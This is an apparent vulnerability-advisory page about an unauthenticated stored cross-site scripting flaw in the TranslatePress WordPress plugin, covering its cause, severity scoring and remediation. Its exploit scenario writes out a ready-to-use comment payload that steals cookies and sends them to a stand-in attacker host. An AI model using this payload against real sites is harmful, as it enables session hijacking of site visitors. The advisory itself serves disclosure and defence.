EUVD-2026-62343
GHSA-pvgp-75fv-2h99
Severity by source
AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
UI:R applied because stored XSS requires a victim to navigate to the page; S:C retained as execution occurs in a distinct browser security context.
Primary rating from Vendor (Wordfence).
CVSS VectorVendor: Wordfence
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Lifecycle Timeline
2DescriptionCVE.org
The TranslatePress - Translate Multilingual sites with AI Translation plugin for WordPress is vulnerable to unauthenticated Stored Cross-Site Scripting in versions up to and including 3.2.5. The special gettext markers '#!trpst#' and '#!trpen#' are unconditionally rewritten to '<' and '>' by translate_page() in includes/class-translation-render.php (lines 538-539). Because those markers are plain text with no HTML-special characters, an unauthenticated attacker can embed them in a comment; the markers survive wp_kses, and when the post is viewed in a secondary language the substitution turns the attacker's '#!trpst#img ... #!trpen#' into a real <img> tag. remove_tags_from_output() only strips <script>/<style>, so an <img onerror=...> executes in the visitor's browser.
AnalysisAI
Stored Cross-Site Scripting in the TranslatePress WordPress plugin (versions up to and including 3.2.5) allows unauthenticated attackers to inject executable HTML into pages viewed in secondary languages by exploiting the plugin's internal translation marker system. Plain-text markers (#!trpst# / #!trpen#) pass through WordPress's wp_kses sanitizer undetected at comment submission, are stored in the database, and are unconditionally converted to angle brackets during page rendering - materializing attacker-controlled text as live HTML tags such as <img onerror=...>. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Three specific conditions must hold simultaneously for exploitation to succeed. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The reported CVSS 3.1 score of 7.2 (AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N) correctly captures the network accessibility, zero authentication requirement, and scope change to the victim's browser, but the UI:N designation warrants scrutiny. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker visits any publicly accessible WordPress post with commenting enabled, submits a comment containing the payload #!trpst#img src=x onerror=fetch('https://attacker.example/steal?c='+document.cookie)#!trpen# without authentication, and waits for the comment to be published. When any visitor subsequently loads that page in a configured secondary language, TranslatePress's translate_page() function converts the markers to angle brackets, rendering the comment text as a live <img> tag whose onerror handler fires immediately - silently exfiltrating session cookies or performing other client-side actions within the victim's browser. … |
| Remediation | The primary fix is to update TranslatePress to a version beyond 3.2.5 once Cozmoslabs publishes a patched release; no fixed version is confirmed in the available data, so administrators should monitor the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/fec48853-afa5-4310-be2e-e86c01ece227 and the WordPress.org plugin page for an update. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours, identify all WordPress installations running TranslatePress version 3.2.5 or earlier; for sites with public comments enabled on secondary languages, immediately restrict comment submission to authenticated users only or disable comments on translated pages. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
Same weakness CWE-79 – Cross-site Scripting (XSS)
View allShare
External POC / Exploit Code
Leaving vuln.today